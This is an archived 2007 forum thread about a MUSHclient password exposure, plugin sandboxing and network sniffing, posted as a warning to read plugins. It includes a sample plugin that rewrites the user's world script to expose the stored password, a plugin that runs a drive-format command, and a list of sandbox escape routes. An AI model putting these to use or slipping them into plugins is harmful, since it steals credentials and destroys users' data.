This forum is a read-only archive of the Gammon Software forum (2000–2026). No new posts can be made. Search the archive.

Surprise, a security hole

Posted by Shaun Biggs on Wed 18 Apr 2007 11:20 PM — 17 posts, 74,341 views.

Shaun Biggs USA #0
I have a test world. Made a test character called tester, password testpass. Then I poked at the GetCurrentValue function...

/Note( GetCurrentValue( "password" ) )
testpass

Erm... Kind of easy for me to sit down and grab someone's password. might even be able to have a script send me a note over the mud with the name/password and gagging everything so that the user can't see it. This is why I read plugins before installing... Anyway, it's a simple fix, specially since if I just normally go into the configuration menu, it's just all hidden with asterisks. Maybe have it show "********" instead of "testpass"?
Shaun Biggs USA #1
And to add hours of amusement...
/SetAlphaOption( "password", "breakyourlogin" )
/Note(GetCurrentValue( "password" ))
breakyourlogin

And now that I think about it, this should have been posted on bugs. Oops.
Amended on Wed 18 Apr 2007 11:32 PM by Shaun Biggs
Nick Gammon Australia Forum Administrator #2
Ah, but did you try it in a plugin?


<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE muclient>
<!-- Saved on Thursday, April 19, 2007, 11:52 AM -->
<!-- MuClient version 4.05 -->

<!-- Plugin "Show_Password_Test" generated by Plugin Wizard -->

<muclient>
<plugin
   name="Show_Password_Test"
   author="Nick Gammon"
   id="32f64cb82eff534cf80d3294"
   language="Lua"
   purpose="tests if you can get your password in a plugin"
   date_written="2007-04-19 11:51:57"
   requires="3.80"
   version="1.0"
   >

</plugin>


<!--  Aliases  -->

<aliases>
  <alias
   match="show_my_password"
   enabled="y"
   send_to="12"
   sequence="100"
  >
  <send>Note( GetCurrentValue( "password" ) )</send>
  </alias>
</aliases>

</muclient>


If you install this plugin and run it, it shows "nil".

Going to the MUSHclient source, check out this line in the definition table for scripting options:


{"password", "", A(m_password), OPT_PASSWORD | OPT_PLUGIN_CANNOT_RW},


Note the important flag "OPT_PLUGIN_CANNOT_RW".

That means a plugin can neither view nor change that field.

The intention here was that plugin authors cannot try those sorts of tricks, and scripts in your main world file are presumably under your direct control.
Shaun Biggs USA #3
Ah. Hadn't tried it in a plugin. But it still means that if I sit at someone's computer, I can grab their password pretty easily unless they have scripting turned off. Granted, I can lock the screen and switch to another display console, and Windows XP and Vista let you switch users with programs still running, some people don't take full advantage of this security.
Nick Gammon Australia Forum Administrator #4
As a general principle, if someone has physical access to your PC it is potentially compromised anyway. For instance, in a few seconds they could copy your world file onto a memory stick and decode it at their leisure.

If you are worried about it I suggest you don't store the password in the main world file, but instead make a simple plugin that "on connect" sends the connection information.

You can take a few steps to stop casual browsing of the plugin reveal the password, like putting it in base 64 encoding, for example.
Onoitsu2 USA #5
One method that MIGHT bypass that No-RW setting for plugins is to add a timer that is one shot, which is actually added to the world itself, so it would presumably "fake" its credentials, and then can send all kinds of stuff to the mud, or even via a packet sent with UDP Send, which would be near impossible to detect, unless you have an over protective firewall, or have some sort of trace running at the time.

Just my 2 cents on this, because I for a while there, did worry about my password security from plugins, then when I finally became to understand the scripting within them, just was not any longer.

Laterzzz,
Onoitsu2
Nick Gammon Australia Forum Administrator #6
I tried that, but a DoAfterSpecial run by a plugin runs in the plugin's script space, and still gets nil as the result.

If someone can come up with an example that works ... :)
Nick Gammon Australia Forum Administrator #7
To be honest I can now think of quite a few ways you could get someone's password out of them, if you convinced them to run your plugin.

I am not going to make it easy for anyone who might have such an idea to describe the ways it might be done.

Some of the features which have been added over the years could conceivably be misused.

One simple approach you can take, if this worries you, is to not put your password in the world file, but simply log onto the MUD "manually" each time.

However even that would not be foolproof.

I suggest that you simply don't run "untrusted" plugins - however the definition of "untrusted" might be hard to get exactly right.

The ones supplied on this site, or with the MUSHclient download can generally be considered trustworthy, although I have not closely vetted ones supplied by third parties.

I suggest considering the reputation of someone supplying a plugin - if they have been a long-term poster here, and seem to be held in reasonable regard, then it is probably safe to use a plugin they write.

On the other hand, if someone who has recently joined the forum offers something "too good to be true" (eg. a plugin that will level you quickly, or make lots of in-game gold), it could be a cover for something more sinister.
Isthiriel #8 
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE muclient>
<muclient>
<plugin
   name="RetrievePassword"
   author="Isthiriel"
   id="99288c2059f24084bc264e9a"
   language="Python"
   save_state="y"
   date_written="2007-04-19 23:25:35"
   requires="3.80"
   version="1.0"
   >
</plugin>
<script>
<![CDATA[
sfn = world.GetAlphaOption('script_filename')
fp = open(sfn, 'r')
s = fp.read()
fp.close()
if not 'retrieved_password' in s:
    s += "\nretrieved_password = world.GetCurrentValue('password')\n"
    s += "# do stuff based on retrieved password\nworld.Note(retrieved_password)\n"
fp = open(sfn, 'w')
fp.write(s)
fp.close()
]]>
</script>
</muclient>


Like Shaun said, read your plugins before you install them.

For example, you don't want the following in a plugin:
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE muclient>
<muclient>
<plugin
   name="NukeMyComputer"
   author="Isthiriel"
   id="99288c2059f24084bc264e9a"
   language="Python"
   save_state="y"
   date_written="2007-04-19 23:25:35"
   requires="3.80"
   version="1.0"
   >
</plugin>
<script>
<![CDATA[
import os
os.system("format c: /q /x")
]]>
</script>
</muclient>

Shadowfyr USA #9
Just do what MS did with Vista and say, "Here is generally how to get around our new protected operation mode that keeps people from reading memory or interacting with protected applications, now, please don't do it!" lol

I am serious. If a program is running in Vista's PPM or what ever its called, such as system services or drivers, they can ask if another program is also protected, unprotect it, then do what ever they want to it. MS' solution isn't to prevent "anything" from knowing what mode something is in, but to simply ask, "Please don't use this feature to circumvent the security feature." Security via, "Gosh, I hope no one reads this page!"
Shaun Biggs USA #10
Quote:
One simple approach you can take, if this worries you, is to not put your password in the world file, but simply log onto the MUD "manually" each time.

Not surprisingly, no one I know who uses MUSHclient uses the autologin features. I asked about a dozen people on the mud that I play on, including four clanmates.

The only odd thing I found was that the password is masked when you open up the configuration menu, but that you can have it printed out so easily. My only suggestion to fix it was converting it to the asterisks as shown on the configuration menu.
Nick Gammon Australia Forum Administrator #11
Like I said, there are still ways around it. However not using the auto-login stops it being trivially easy to find your password out.

As for the asterisks, we may as well disable getting the password altogether, if the function that gets it, gets asterisks.

I use the auto-login, because I am in an environment where other people are unlikely to use the PC. But in a shared environment, things are different, obviously.

Quote:

import os
os.system("format c: /q /x")


That is why I went to so much trouble with the Lua sandbox to make that sort of thing hard for people without having to make a conscious decision to allow the "os" library to be available.

As with most security issues it is a tradeoff between ease of use and security. If you don't install plugins, and don't use auto-login, things are probably reasonably secure. However don't forget that most MUD communication is not encrypted. Someone on the same subnet running a "packet sniffer" can find your password easily enough. Making changes to MUSHclient won't stop that.
Isthiriel #12
Quote:
That is why I went to so much trouble with the Lua sandbox to make that sort of thing hard for people without having to make a conscious decision to allow the "os" library to be available.

Once upon a time there was a Python module called Bastion that was intended for making secure sandboxes... except that it never did :( So it was pulled from the standard library. It would be a nice feature to have but Python's library has so many ways of circumventing a sandbox (including hooking the bytecompiler and modifying the byte code after it's been compiled) that it's been in the "Too Hard" basket for some time :(

Even without the os module you can use _winreg to modify Window's RunOnce keys or open/read/write/close to modify win.ini and system.ini (since 99+% of xp gamers are running as administrator) or dump a format.lnk in Start/Programs/Startup or install a virus on another executable.

To make a secure sandbox you need to prevent socket access, limit file/directory access to a sandbox on the disk (and even then, creating 20+GB files is a nuisance if not the cause of an out-of-virtual-memory crash), limit the size of the heap ...

Quote:
Someone on the same subnet running a "packet sniffer" can find your password easily enough.


Really? I'm connected (my computer) -> switch -> adsl router (default gateway) -> internet and the lights on the switch suggest that internet traffic flows into the switch and out to the router and not to any of the other computers that share the switch (and 192.168.0.0/24 subnet).
Nick Gammon Australia Forum Administrator #13
I think modern switches do not in fact expose network traffic to things connected to them that they do not believe needs them. However hubs and bridges do. So a bit depends on the network model you have. I did a Google on "network bridge switch" and the first match explained the difference in some detail.

Thus you may be moderately safe if you are plugged into a switch, but not a hub (repeater) or bridge.

Also, you have no way of knowing whether at the other end the network is exposed via hubs or bridges.

Quote:

Even without the os module you can use _winreg to modify Window's RunOnce keys ...


Well the core Lua code does not provide you with the ability to open files, or modify the registry. Nor can you modify the byte code - I don't think.

I think you can probably "human engineer" practically anyone to run some code you want, by pretending the thing you supply (DLL or EXE) does some "really useful thing".
Nick Gammon Australia Forum Administrator #14
Quote:

But it still means that if I sit at someone's computer, I can grab their password pretty easily unless they have scripting turned off.


I started writing a plugin that would encrypt the password, and then you had to type in a password to unlock the encrypted password, but I'm not sure you get much further down the track doing that. Now you have to type password A to unlock password B. Why not just type B in the first place?

Here is another possibility:

Encrypt your entire MUSHclient directory (or at least the part with the world files in it), using something like TrueCrypt.

http://www.truecrypt.org/

This is free open-source encryption. You create an "encrypted device" which is simply a disk file (or it can be an entire disk), which is unlocked (and mounted) by giving it your encryption key.

For example, you might encrypt all of your MUSHclient stuff into a single file called my_mushclient_stuff.tc. This is completely unreadable without the password.

Then when you want to play, you use the utility that comes with TrueCrypt to mount this file, which then becomes a drive on your PC (eg. J:).

Then you run MUSHclient from J:. Once mounted, all your character names, passwords etc. are exposed. When you have finished you simply dismount (eject) the encrypted volume.

In fact this lends itself quite well to memory sticks too, because you could keep everything on a memory stick, but if you put it down and someone plugs it into their PC, they can't do anything with it without the password.


Shaun Biggs USA #15
A hub will display all incoming data to every port. A switch will recognize which port is supposed to get the data, and only send it to that port. Routers are switches which are a bit "smarter" in that it can assign subnet addresses to the various ports. The terms are pretty much interchangeable nowadays, since nearly everyone is using routers (except for me, I love my switch). And anyone using a hub in a high traffic environment that needs to be secure should just be fired.

Also, packet sniffers do not have to be obvious. There are a few programs I've played with that cause your computer to just listen to network traffic without announcing it's presence. You have absolutely no control over what your computer is connected to once the connection goes outside the house. Someone at the isp may be taking a look at what you're doing.

Not to instill paranoia here, these things do happen, but only very rarely. The odds of someone both looking at your unencrypted telnet connection to your mud server and caring about it are pretty much nonexistent.
David Haley USA #16
Quote:
Someone at the isp may be taking a look at what you're doing.
Or at any one of the hops from you to destination, and everybody from those subnets potentially listening to what is being sent on those subnets...

Quote:
The odds of someone both looking at your unencrypted telnet connection to your mud server and caring about it are pretty much nonexistent.
Probably. I seem to recall reading about programs that the "bad guys" run to scan all packets they see, looking for keywords like bank account, password, etc. in an attempt to catch clear text transmission of sensitive data.